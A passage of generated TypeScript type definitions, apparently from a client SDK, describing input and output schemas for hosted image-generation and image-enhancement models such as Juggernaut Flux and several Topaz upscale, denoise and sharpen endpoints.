between 1 and 10 images. + */ + image_urls?: string[] | null + /** + * @description Override how closely the generation follows the custom style. + */ + style_match?: InputRecraftV4StyleTextToVectorStyleMatchKey | null + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColorC1C3F8Cc[] + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: ImageSize7F8C14Ac | InputRecraftV4StyleTextToVectorImageSizeKey + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColorC1C3F8Cc | null + /** + * @description The ID of an existing V4 custom style. + */ + style_id?: string | null +} + +export type FileAd667A41 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputRecraftV4StyleTextToVector = { + /** + * @example [{"file_name":"image.svg","file_size":1722022,"content_type":"image/svg+xml","url":"https://v3b.fal.media/files/b/0a8ee4fd/sw8YD36iblpO64JeQZEDt_image.svg"}] + * @type array + */ + images: FileAd667A41[] + /** + * @description The custom style used or created for this generation. + */ + style_id?: string | null +} + +export type ImageSize86B29962 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputRundiffusionFalJuggernautFluxBaseOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputRundiffusionFalJuggernautFluxBaseOutputFormatEnumKey = + (typeof inputRundiffusionFalJuggernautFluxBaseOutputFormatEnum)[keyof typeof inputRundiffusionFalJuggernautFluxBaseOutputFormatEnum] + +export const inputRundiffusionFalJuggernautFluxBaseImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputRundiffusionFalJuggernautFluxBaseImageSizeKey = + (typeof inputRundiffusionFalJuggernautFluxBaseImageSize)[keyof typeof inputRundiffusionFalJuggernautFluxBaseImageSize] + +export type InputRundiffusionFalJuggernautFluxBase = { + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputRundiffusionFalJuggernautFluxBaseOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: + | ImageSize86B29962 + | InputRundiffusionFalJuggernautFluxBaseImageSizeKey + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string +} + +export type ImageBc271Ec6 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputRundiffusionFalJuggernautFluxBase = { + /** + * @description The generated image files info. + * @type array + */ + images: ImageBc271Ec6[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputRundiffusionFalJuggernautFluxBaseImageToImageOutputFormatEnum = + { + jpeg: 'jpeg', + png: 'png', + } as const + +export type InputRundiffusionFalJuggernautFluxBaseImageToImageOutputFormatEnumKey = + (typeof inputRundiffusionFalJuggernautFluxBaseImageToImageOutputFormatEnum)[keyof typeof inputRundiffusionFalJuggernautFluxBaseImageToImageOutputFormatEnum] + +export type InputRundiffusionFalJuggernautFluxBaseImageToImage = { + /** + * @description The prompt to generate an image from. + * @example a cat dressed as a wizard with a background of a mystic forest. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputRundiffusionFalJuggernautFluxBaseImageToImageOutputFormatEnumKey + /** + * @description The strength of the initial image. Higher strength values are better for this model. + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/koala/Chls9L2ZnvuipUTEwlnJC.png + * @type string + */ + image_url: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageE1Fa7C9C = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputRundiffusionFalJuggernautFluxBaseImageToImage = { + /** + * @description The generated image files info. + * @type array + */ + images: ImageE1Fa7C9C[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeC0006Cf1 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputRundiffusionFalJuggernautFluxLightningOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputRundiffusionFalJuggernautFluxLightningOutputFormatEnumKey = + (typeof inputRundiffusionFalJuggernautFluxLightningOutputFormatEnum)[keyof typeof inputRundiffusionFalJuggernautFluxLightningOutputFormatEnum] + +export const inputRundiffusionFalJuggernautFluxLightningImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputRundiffusionFalJuggernautFluxLightningImageSizeKey = + (typeof inputRundiffusionFalJuggernautFluxLightningImageSize)[keyof typeof inputRundiffusionFalJuggernautFluxLightningImageSize] + +export type InputRundiffusionFalJuggernautFluxLightning = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 12 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputRundiffusionFalJuggernautFluxLightningOutputFormatEnumKey + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: + | ImageSizeC0006Cf1 + | InputRundiffusionFalJuggernautFluxLightningImageSizeKey +} + +export type Image80Bfd899 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputRundiffusionFalJuggernautFluxLightning = { + /** + * @description The generated image files info. + * @type array + */ + images: Image80Bfd899[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize81De4Ff4 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputRundiffusionFalJuggernautFluxProOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputRundiffusionFalJuggernautFluxProOutputFormatEnumKey = + (typeof inputRundiffusionFalJuggernautFluxProOutputFormatEnum)[keyof typeof inputRundiffusionFalJuggernautFluxProOutputFormatEnum] + +export const inputRundiffusionFalJuggernautFluxProImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputRundiffusionFalJuggernautFluxProImageSizeKey = + (typeof inputRundiffusionFalJuggernautFluxProImageSize)[keyof typeof inputRundiffusionFalJuggernautFluxProImageSize] + +export type InputRundiffusionFalJuggernautFluxPro = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputRundiffusionFalJuggernautFluxProOutputFormatEnumKey + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: + | ImageSize81De4Ff4 + | InputRundiffusionFalJuggernautFluxProImageSizeKey +} + +export type ImageE84F7C2C = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputRundiffusionFalJuggernautFluxPro = { + /** + * @description The generated image files info. + * @type array + */ + images: ImageE84F7C2C[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputRundiffusionFalJuggernautFluxProImageToImageOutputFormatEnum = + { + jpeg: 'jpeg', + png: 'png', + } as const + +export type InputRundiffusionFalJuggernautFluxProImageToImageOutputFormatEnumKey = + (typeof inputRundiffusionFalJuggernautFluxProImageToImageOutputFormatEnum)[keyof typeof inputRundiffusionFalJuggernautFluxProImageToImageOutputFormatEnum] + +export type InputRundiffusionFalJuggernautFluxProImageToImage = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputRundiffusionFalJuggernautFluxProImageToImageOutputFormatEnumKey + /** + * @description The prompt to generate an image from. + * @example a cat dressed as a wizard with a background of a mystic forest. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The strength of the initial image. Higher strength values are better for this model. + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/koala/Chls9L2ZnvuipUTEwlnJC.png + * @type string + */ + image_url: string +} + +export type Image30174C46 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputRundiffusionFalJuggernautFluxProImageToImage = { + /** + * @description The generated image files info. + * @type array + */ + images: Image30174C46[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeBf657864 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoraWeight8931F4C2 = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputRundiffusionFalRundiffusionPhotoFluxImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputRundiffusionFalRundiffusionPhotoFluxImageSizeKey = + (typeof inputRundiffusionFalRundiffusionPhotoFluxImageSize)[keyof typeof inputRundiffusionFalRundiffusionPhotoFluxImageSize] + +export const inputRundiffusionFalRundiffusionPhotoFluxOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputRundiffusionFalRundiffusionPhotoFluxOutputFormatEnumKey = + (typeof inputRundiffusionFalRundiffusionPhotoFluxOutputFormatEnum)[keyof typeof inputRundiffusionFalRundiffusionPhotoFluxOutputFormatEnum] + +export type InputRundiffusionFalRundiffusionPhotoFlux = { + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: + | ImageSizeBf657864 + | InputRundiffusionFalRundiffusionPhotoFluxImageSizeKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputRundiffusionFalRundiffusionPhotoFluxOutputFormatEnumKey + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight8931F4C2[] + /** + * @description + * If set to true, the function will wait for the image to be generated and uploaded + * before returning the response. This will increase the latency of the function but + * it allows you to get the image directly in the response without going through the CDN. + * + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 35 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description LoRA Scale of the photo lora model + * @default 0.75 + * @type number | undefined + */ + photo_lora_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + * @type integer | undefined + */ + seed?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageB0922C6F = { + height: number + /** + * @default 'image/jpeg' + * @type string | undefined + */ + content_type?: string + url: string + width: number +} + +export type OutputRundiffusionFalRundiffusionPhotoFlux = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @type array + */ + images: ImageB0922C6F[] + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type InputSmoretalkAiRembgEnhance = { + /** + * @description URL of the input image + * @example https://fal.media/files/kangaroo/SOF3bLF7b1kJ2-N9dTg-c.png + * @type string + */ + image_url: string +} + +export type File97Dd26Cf = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputSmoretalkAiRembgEnhance = { + /** + * @description The segmented output image + * @type object + */ + image: File97Dd26Cf +} + +export const inputTopazAdjustImageModelEnum = { + 'Adjust V2': 'Adjust V2', + 'White Balance': 'White Balance', + Colorize: 'Colorize', +} as const + +export type InputTopazAdjustImageModelEnumKey = + (typeof inputTopazAdjustImageModelEnum)[keyof typeof inputTopazAdjustImageModelEnum] + +export const inputTopazAdjustImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputTopazAdjustImageOutputFormatEnumKey = + (typeof inputTopazAdjustImageOutputFormatEnum)[keyof typeof inputTopazAdjustImageOutputFormatEnum] + +export type InputTopazAdjustImage = { + /** + * @description Url of the image to process + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/model_tests/codeformer/codeformer_poor_1.jpeg + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Color & lighting correction. Adjust V2 fixes exposure/lighting; White Balance corrects color; Colorize adds color to B&W images. + * @default 'Adjust V2' + * @type string | undefined + */ + model?: InputTopazAdjustImageModelEnumKey + /** + * @description Output format of the processed image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputTopazAdjustImageOutputFormatEnumKey +} + +export type File52E35437 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazAdjustImage = { + /** + * @description The upscaled image. + * @type object + */ + image: File52E35437 +} + +export const inputTopazDenoiseImageModelEnum = { + Normal: 'Normal', + Strong: 'Strong', + Extreme: 'Extreme', + 'Denoise Max': 'Denoise Max', +} as const + +export type InputTopazDenoiseImageModelEnumKey = + (typeof inputTopazDenoiseImageModelEnum)[keyof typeof inputTopazDenoiseImageModelEnum] + +export const inputTopazDenoiseImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputTopazDenoiseImageOutputFormatEnumKey = + (typeof inputTopazDenoiseImageOutputFormatEnum)[keyof typeof inputTopazDenoiseImageOutputFormatEnum] + +export type InputTopazDenoiseImage = { + /** + * @description Url of the image to process + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/model_tests/codeformer/codeformer_poor_1.jpeg + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Denoise model. Normal is general-purpose; Strong and Extreme remove progressively more noise; Denoise Max is Topaz's highest-quality generative denoiser. + * @default 'Normal' + * @type string | undefined + */ + model?: InputTopazDenoiseImageModelEnumKey + /** + * @description Output format of the processed image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputTopazDenoiseImageOutputFormatEnumKey +} + +export type File3B9Fb369 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazDenoiseImage = { + /** + * @description The upscaled image. + * @type object + */ + image: File3B9Fb369 +} + +export const inputTopazRestoreImageModelEnum = { + 'Recover 3': 'Recover 3', + 'Dust-Scratch V2': 'Dust-Scratch V2', +} as const + +export type InputTopazRestoreImageModelEnumKey = + (typeof inputTopazRestoreImageModelEnum)[keyof typeof inputTopazRestoreImageModelEnum] + +export const inputTopazRestoreImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputTopazRestoreImageOutputFormatEnumKey = + (typeof inputTopazRestoreImageOutputFormatEnum)[keyof typeof inputTopazRestoreImageOutputFormatEnum] + +export type InputTopazRestoreImage = { + /** + * @description Url of the image to process + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/model_tests/codeformer/codeformer_poor_1.jpeg + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Restoration. Recover 3 rebuilds natural detail; Dust-Scratch V2 cleans up film dust and scratches. + * @default 'Recover 3' + * @type string | undefined + */ + model?: InputTopazRestoreImageModelEnumKey + /** + * @description Output format of the processed image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputTopazRestoreImageOutputFormatEnumKey +} + +export type File5Ee002E8 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazRestoreImage = { + /** + * @description The upscaled image. + * @type object + */ + image: File5Ee002E8 +} + +export const inputTopazSharpenImageModelEnum = { + Standard: 'Standard', + Strong: 'Strong', + 'Lens Blur V2': 'Lens Blur V2', + 'Motion Blur': 'Motion Blur', + Natural: 'Natural', + Refocus: 'Refocus', + Wildlife: 'Wildlife', + Portrait: 'Portrait', + 'Auto Sharpen': 'Auto Sharpen', + 'Super Focus V3': 'Super Focus V3', + 'Super Focus V2': 'Super Focus V2', +} as const + +export type InputTopazSharpenImageModelEnumKey = + (typeof inputTopazSharpenImageModelEnum)[keyof typeof inputTopazSharpenImageModelEnum] + +export const inputTopazSharpenImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputTopazSharpenImageOutputFormatEnumKey = + (typeof inputTopazSharpenImageOutputFormatEnum)[keyof typeof inputTopazSharpenImageOutputFormatEnum] + +export type InputTopazSharpenImage = { + /** + * @description Url of the image to process + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/model_tests/codeformer/codeformer_poor_1.jpeg + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Sharpen model tuned per blur type (defocus, motion, portrait, wildlife, …). Super Focus is Topaz's generative deblur for severely blurred images. + * @default 'Standard' + * @type string | undefined + */ + model?: InputTopazSharpenImageModelEnumKey + /** + * @description Output format of the processed image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputTopazSharpenImageOutputFormatEnumKey +} + +export type FileA01F3C7D = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazSharpenImage = { + /** + * @description The upscaled image. + * @type object + */ + image: FileA01F3C7D +} + +export const inputTopazUpscaleImageCreativeModelEnum = { + 'Bloom 2': 'Bloom 2', + Bloom: 'Bloom', + 'Bloom Realism': 'Bloom Realism', +} as const + +export type InputTopazUpscaleImageCreativeModelEnumKey = + (typeof inputTopazUpscaleImageCreativeModelEnum)[keyof typeof inputTopazUpscaleImageCreativeModelEnum] + +export const inputTopazUpscaleImageCreativeOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputTopazUpscaleImageCreativeOutputFormatEnumKey = + (typeof inputTopazUpscaleImageCreativeOutputFormatEnum)[keyof typeof inputTopazUpscaleImageCreativeOutputFormatEnum] + +export type InputTopazUpscaleImageCreative = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Enable automatic prompt generation. Applies to Bloom 2 only; Topaz defaults it to true when omitted. + */ + autoprompt?: boolean | null + /** + * @description Creativity level (1-9). Higher values produce more creative/hallucinated details. Applies to Bloom 2 only. + */ + creativity?: number | null + /** + * @description Creative (Bloom) upscaling model. Bloom 2 is the latest and most capable; Bloom creatively upscales and transforms AI-generated images; Bloom Realism biases the added detail toward photorealism. + * @default 'Bloom 2' + * @type string | undefined + */ + model?: InputTopazUpscaleImageCreativeModelEnumKey + /** + * @description Output format of the upscaled image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputTopazUpscaleImageCreativeOutputFormatEnumKey + /** + * @description Preserve the source image's colors in the output. Applies to Bloom 2 only. + */ + color_preservation?: boolean | null + /** + * @description Url of the image to be upscaled + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/model_tests/codeformer/codeformer_poor_1.jpeg + * @type string + */ + image_url: string + /** + * @default false + * @type boolean | undefined + */ + crop_to_fill?: boolean + /** + * @description Factor to upscale the image by (e.g. 2.0 doubles width and height) + * @minimum 1 + * @maximum 4 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number +} + +export type FileAe82D6F3 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazUpscaleImageCreative = { + /** + * @description The upscaled image. + * @type object + */ + image: FileAe82D6F3 +} + +export const inputTopazUpscaleImageGenerativeEnhancementStrength = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputTopazUpscaleImageGenerativeEnhancementStrengthKey = + (typeof inputTopazUpscaleImageGenerativeEnhancementStrength)[keyof typeof inputTopazUpscaleImageGenerativeEnhancementStrength] + +export const inputTopazUpscaleImageGenerativeOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputTopazUpscaleImageGenerativeOutputFormatEnumKey = + (typeof inputTopazUpscaleImageGenerativeOutputFormatEnum)[keyof typeof inputTopazUpscaleImageGenerativeOutputFormatEnum] + +export const inputTopazUpscaleImageGenerativeModelEnum = { + 'Wonder 4': 'Wonder 4', + 'Wonder 3.5': 'Wonder 3.5', + 'Wonder 3': 'Wonder 